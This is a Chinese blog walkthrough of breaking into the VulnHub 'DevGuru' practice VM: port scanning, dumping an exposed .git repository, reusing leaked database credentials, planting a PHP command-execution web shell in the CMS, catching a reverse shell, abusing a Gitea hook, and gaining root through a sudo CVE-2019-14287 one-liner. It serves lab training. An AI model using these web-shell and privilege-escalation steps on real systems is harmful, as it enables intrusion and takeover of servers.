vulnhub devguru渗透笔记
devguru渗透笔记
信息收集
kali ip

目标ip

首先我们扫描一下开放端口
nmap -A -p- 192.168.20.143
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-18 10:41 CST
Nmap scan report for bogon (192.168.20.143)
Host is up (0.00044s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:46:e8:2b:01:ff:57:58:7a:5f:25:a4:d6:f2:89:8e (RSA)
| 256 08:79:93:9c:e3:b4:a4:be:80:ad:61:9d:d3:88:d2:84 (ECDSA)
|_ 256 9c:f9:88:d4:33:77:06:4e:d9:7c:39:17:3e:07:9c:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: DevGuru
| http-git:
| 192.168.20.143:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: first commit
| Remotes:
| http://devguru.local:8585/frank/devguru-website.git
|_ Project type: PHP application (guessed from .gitignore)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corp - DevGuru
8585/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=3fa58b0407bb4cfd; Path=/; HttpOnly
| Set-Cookie: _csrf=1i6eRR0jsBy2m3oVLV7XjbmTO3Y6MTYzOTc5NTMyOTAyODgyNzUyOQ; Path=/; Expires=Sun, 19 Dec 2021 02:42:09 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 18 Dec 2021 02:42:09 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=e9eacdab4eb43047; Path=/; HttpOnly
| Set-Cookie: _csrf=YyIv1BjKfPG8puskKPj8fZUT62c6MTYzOTc5NTMyOTA0MjA2MDQ2Nw; Path=/; Expires=Sun, 19 Dec 2021 02:42:09 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 18 Dec 2021 02:42:09 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8585-TCP:V=7.91%I=7%D=12/18%Time=61BD4A81%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,2A00,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:
SF:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x20Path=/
SF:;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=3fa58b0407bb4cfd
SF:;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=1i6eRR0jsBy2m3oVLV7Xjb
SF:mTO3Y6MTYzOTc5NTMyOTAyODgyNzUyOQ;\x20Path=/;\x20Expires=Sun,\x2019\x20D
SF:ec\x202021\x2002:42:09\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x20SAMEO
SF:RIGIN\r\nDate:\x20Sat,\x2018\x20Dec\x202021\x2002:42:09\x20GMT\r\n\r\n<
SF:!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\n<head\
SF:x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20name=\"
SF:viewport\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\t<m
SF:eta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\t<title
SF:>\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea\x20</title>\n\t<lin
SF:k\x20rel=\"manifest\"\x20href=\"/manifest\.json\"\x20crossorigin=\"use-
SF:credentials\">\n\t<meta\x20name=\"theme-color\"\x20content=\"#6cc644\">
SF:\n\t<meta\x20name=\"author\"\x20content=\"Gitea\x20-\x20Git\x20with\x20
SF:a\x20cup\x20of\x20tea\"\x20/>\n\t<meta\x20name=\"description\"\x20conte
SF:nt=\"Gitea\x20\(Git\x20with\x20a\x20cup\x20of\x20tea\)\x20is\x20a\x20pa
SF:inless")%r(HTTPOptions,212A,"HTTP/1\.0\x20404\x20Not\x20Found\r\nConten
SF:t-Type:\x20text/html;\x20charset=UTF-8\r\nSet-Cookie:\x20lang=en-US;\x2
SF:0Path=/;\x20Max-Age=2147483647\r\nSet-Cookie:\x20i_like_gitea=e9eacdab4
SF:eb43047;\x20Path=/;\x20HttpOnly\r\nSet-Cookie:\x20_csrf=YyIv1BjKfPG8pus
SF:kKPj8fZUT62c6MTYzOTc5NTMyOTA0MjA2MDQ2Nw;\x20Path=/;\x20Expires=Sun,\x20
SF:19\x20Dec\x202021\x2002:42:09\x20GMT;\x20HttpOnly\r\nX-Frame-Options:\x
SF:20SAMEORIGIN\r\nDate:\x20Sat,\x2018\x20Dec\x202021\x2002:42:09\x20GMT\r
SF:\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-\">\
SF:n<head\x20data-suburl=\"\">\n\t<meta\x20charset=\"utf-8\">\n\t<meta\x20
SF:name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\"
SF:>\n\t<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\
SF:t<title>Page\x20Not\x20Found\x20-\x20\x20Gitea:\x20Git\x20with\x20a\x20
SF:cup\x20of\x20tea\x20</title>\n\t<link\x20rel=\"manifest\"\x20href=\"/ma
SF:nifest\.json\"\x20crossorigin=\"use-credentials\">\n\t<meta\x20name=\"t
SF:heme-color\"\x20content=\"#6cc644\">\n\t<meta\x20name=\"author\"\x20con
SF:tent=\"Gitea\x20-\x20Git\x20with\x20a\x20cup\x20of\x20tea\"\x20/>\n\t<m
SF:eta\x20name=\"description\"\x20content=\"Gitea\x20\(Git\x20with\x20a\x2
SF:0c");
MAC Address: 00:0C:29:49:16:E8 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms bogon (192.168.20.143) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.30 seconds
开放了22,80,8585端口,内核版本认为是Linux4.x或5.x的版本,在80端口处提示了一个域名,那我们将域名和ip地址手动进行绑定一下


我们再看nmap扫描得出的结果这里发现一个.git的目录,这时候我们就想到可以将这个目录导出来,推荐使用gitdump,但我这里使用githacker使用习惯了我就使用githacker了

我们来看一下看看git仓库有什么样的信息

我们先来看一下README.md

简单看了一下就是辅助安装文档以及安装的最低要求
到config里面看看有没有什么信息

我们先看一下app.php里面的东西

大致就存储的一些信息没啥用
然后我们来看一下database.php的相关信息

这里我们意外发现mysql的登录用户名和密码
然后在仓库文件夹中发现adminer.php我们去搜一下这东西
经过搜索发现原来是数据库管理工具
然后我们去80端口看看,成功进入登录页面

然后我们使用mysql用户名密码登录

成功登录
然后我们尝试爆破一下目录

扫描到这个感觉像后台登录地址

测试了一下果真

然后我们去看一下数据库里面的数据看看有没有关于用户名密码的

发现一个用户名密码
然后我们去看一下后台组的情况


只有一个,网站拥有组的权限,所有用户只有一个组网站拥有组
然后我们去看一下用户名和用户密码,密码是一种加密的方式显示出来的,我们去搜搜看密码前几位,看看能不能搜出相关的加密方式还真能搜到

我们搜搜看有没有在线加密工具搜到了链接如下
https://www.jisuan.mobi/p163u3BN66Hm6JWx.html
然后我们Rounds使用默认的即可,密码就设置为123456

然后我们到数据库中修改值

然后我们去登陆,成功登入后台

漏洞利用
在CMS这个栏发现有编辑代码的功能,我们自己来构造一个恶意代码
代码内容
function onStart()
{
$this->page['myVar']=shell_exec($_REQUEST['cmd']);
}

在Makeup这栏把东西加上去

然后我们保存并尝试到前端去执行指令

成功执行,建立反向连接shell,并将它保存到shell.php中

然后我们在kali搭建一个简单的网站服务,并且将shell上传到服务器中


使用msfconsole进行监听

浏览器访问shell

成功连接

查看当前权限

使用python建立交互式提示符
python3 -c "import pty;pty.spawn('/bin/bash')"#靶机没有python2要用python3执行

然后到处找找在/var发现备份文件然后我们将他下载下来看看

我们来看看app.ini.bak

又发现一组数据库信息我们去登录又发现一组用户名密码但密码是加密的我们重点看这个提示

由于我没找到如何解开这段密文,那我们就修改加密方式并把密文改掉

这个站点在8585端口还有个东西我们访问一下,然后尝试登录,最后发现成功登录

到处看看发现这里我们是可以输入的

我们尝试在这里构造一段恶意代码,然后看看能返回什么权限
msf设置监听


生成恶意代码

上传恶意代码

下面就是想办法触发
我们在仓库那里发现是可以编辑的我们多加点空行即可触发

查看一下权限

发现已经是普通用户权限

就发现了flag
提权
sudo -l 检查sudo命令执行的情况
发现命令结果

有这样的配置,同时sudo命令版本低于1.8.27所以判断存在CVE-2019-14287漏洞,使用payload进行提权
sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash'

获得root权限
修改SSH配置文件使用SSH连接
sed -i "s/PasswordAuthenication no/PasswordAuthentication yes/" /etc/ssh/sshd_config
SSH连接成功
vulnhub devguru渗透笔记的更多相关文章
- vulnhub mrRobot渗透笔记
mrRobot渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/ kali ip 信息收集 首先依旧时使用nmap扫描靶机的ip地址 n ...
- vulnhub靶机Tr0ll:1渗透笔记
Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...
- vulnhub靶机djinn:1渗透笔记
djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...
- vulnhub DC:1渗透笔记
DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...
- vulnhub 靶机 Kioptrix Level 1渗透笔记
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 1 ...
- backtrack5渗透 笔记
目录 1.信息收集 2.扫描工具 3.漏洞发现 4.社会工程学工具 5.运用层攻击msf 6.局域网攻击 ...
- DVWA渗透笔记
Command Injection Low <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ ...
- VulnHub靶场渗透之:Gigachad
环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...
- MSF 内网渗透笔记
进入meterpreter模式 在meterpreter中输入shell即可进入CMD窗口接着即可执行CMD命令,例如打开RDP服务REG ADD HKLM\SYSTEM\CurrentControl ...
随机推荐
- loj6271 「长乐集训 2017 Day10」生成树求和 加强版(矩阵树定理,循环卷积)
loj6271 「长乐集训 2017 Day10」生成树求和 加强版(矩阵树定理,循环卷积) loj 题解时间 首先想到先分开三进制下每一位,然后每一位分别求结果为0,1,2的树的个数. 然后考虑矩阵 ...
- url斜杠问题——重定向
path('hello',hello), path('hello/',hello), 有什么区别? 没有斜杠:只能访问hello 有斜杠:可以访问hello和hello/ 分析有斜杠的: hello- ...
- Shell 脚本是什么?
一个 Shell 脚本是一个文本文件,包含一个或多个命令.作为系统管理员,我们经常需要使用多个命令来完成一项任务,我们可以添加这些所有命令在一个文本文件(Shell 脚本)来完成这些日常工作任务.- ...
- 那么回到我们开始的问题,通常一棵B+树可以存放多少行数据?
这里我们先假设B+树高为2,即存在一个根节点和若干个叶子节点,那么这棵B+树的存放总记录数为:根节点指针数*单个叶子节点记录行数. 上文我们已经说明单个叶子节点(页)中的记录数=16K/1K=16.( ...
- String是基本数据类型吗?
基本数据类型包括byte.short.int.long.char.float.double和boolean.String不是基本类型.String是引用类型. 而且java.lang.String类是 ...
- AQS分析笔记
1 介绍 AQS: AbstractQueuedSynchronizer,即队列同步器.是构建锁或者其他同步组件的基础框架.它维护了一个volatile int state(代表共享资源)和一个FIF ...
- Java 语言如何进行异常处理,关键字:throws、throw、 try、catch、finally 分别如何使用?
Java 通过面向对象的方法进行异常处理,把各种不同的异常进行分类,并提供了良好的接口.在 Java 中,每个异常都是一个对象,它是 Throwable 类或其子类的实例.当一个方法出现异常后便抛出一 ...
- volatile 能使得一个非原子操作变成原子操作吗?
一个典型的例子是在类中有一个 long 类型的成员变量.如果你知道该成员变量 会被多个线程访问,如计数器.价格等,你最好是将其设置为 volatile.为什么? 因为 Java 中读取 long 类型 ...
- 滑动窗口法——Leetcode例题
滑动窗口法--Leetcode例题(连更未完结) 1. 方法简介 滑动窗口法可以理解为一种特殊的双指针法,通常用来解决数组和字符串连续几个元素满足特殊性质问题(对于字符串来说就是子串).滑动窗口法的显 ...
- BMZCTF 2020祥云杯到点了
2020祥云杯到点了 下载附件得到三个word文档,我们打开第一个文档然后将隐藏文字显示出来 得到提示 我们查看属性应该就是日期了我们先把他记录下来 然后打开第二个文档 输入刚刚的密码 在第二个wor ...